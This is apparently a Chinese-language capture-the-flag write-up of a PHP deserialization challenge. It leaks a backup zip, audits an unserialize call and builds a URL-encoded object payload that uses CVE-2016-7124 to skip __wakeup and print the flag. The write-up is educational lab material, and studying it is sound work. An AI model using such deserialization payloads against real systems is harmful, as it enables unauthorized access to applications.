目录
-
- 前置知识
-
- [1. PHP 序列化与反序列化](#1. PHP 序列化与反序列化)
- [2. PHP 魔术方法](#2. PHP 魔术方法)
- [3. CVE-2016-7124(`__wakeup` 绕过)](#3. CVE-2016-7124(
__wakeup绕过)) - [4. 私有属性的序列化格式](#4. 私有属性的序列化格式)
- 正文
-
- 一、信息收集
- 二、zip包内容代码审计
- 三、构造payload
- [四、发送 Payload 获取 Flag](#四、发送 Payload 获取 Flag)
前置知识
在开始做题之前,先理解几个关键概念:
1. PHP 序列化与反序列化
- 序列化(serialize):把 PHP 对象转换成可存储/传输的字符串格式
- 反序列化(unserialize):把序列化字符串恢复成 PHP 对象
php
// 一个简单对象的序列化结果
O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";...}
// ↑类名 ↑属性数 ↑属性名(带空字节) ↑属性值
2. PHP 魔术方法
__wakeup():反序列化时自动调用(常用于重新连接数据库、重置属性等)__destruct():对象销毁时自动调用(常用于释放资源)__construct():创建对象时调用
3. CVE-2016-7124(__wakeup 绕过)
在 PHP 5.x ~ 7.0.10 版本中,如果序列化字符串声明的属性数量 大于实际的属性数量,__wakeup() 方法会被跳过不执行。
4. 私有属性的序列化格式
PHP 中 private 属性在序列化时,属性名会被加上 \0ClassName\0 前缀(即:空字节 + 类名 + 空字节)。因此:
private $username→ 序列化后为\0Name\0username(长度为 14)private $password→ 序列化后为\0Name\0password(长度为 14)
正文
一、信息收集
访问目标网站,发现是一个展示猫咪的页面,页面上有一句提示:
"因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯"

这句话暗示网站存在备份文件。尝试访问常见的备份文件名:
url
https://target.com/www.zip
成功下载得到 www.zip。解压后得到以下文件:

| 文件名 | 作用 |
|---|---|
index.php |
主页面,接收 select 参数并反序列化 |
class.php |
定义 Name 类,包含 __wakeup 和 __destruct 魔术方法 |
flag.php |
定义 $flag 变量(本地测试用) |
style.css |
样式文件 |
index.js |
前端 3D 动画 |
二、zip包内容代码审计
先看index.php(关键部分):
php
include 'class.php';
$select = $_GET['select'];
$res = unserialize(@$select);
直接从 GET 参数 select 获取输入并反序列化,没有任何过滤!
再看class.php(关键部分):
php
class Name {
private $username = 'nonono';
private $password = 'yesyes';
function __wakeup() {
$this->username = 'guest'; // 反序列化时重置为 guest
}
function __destruct() {
if ($this->password != 100) {
die("NO!!!hacker!!!");
}
if ($this->username === 'admin') {
global $flag;
echo $flag; // 打印 flag!
}
}
}
逻辑分析:
__destruct()在对象销毁时执行- 需要
$password == 100且$username === 'admin' - 但
__wakeup()会在反序列化时把$username改成'guest' - 服务端 PHP 版本为 5.3.3 ,可以利用 CVE-2016-7124 绕过
__wakeup()
三、构造payload
需要构造一个序列化对象,满足:
$username = 'admin'$password = 100- 绕过
__wakeup()
正常序列化字符串(会被 __wakeup 拦截):
O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
绕过 __wakeup()(把属性数量从 2 改成 3):
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
URL 编码后(注意 \0 空字节要编码为 %00):
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
四、发送 Payload 获取 Flag
访问目标网址(注意把 URL 编码后的 payload 拼接到 ?select= 后面):
html
http://目标网址/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
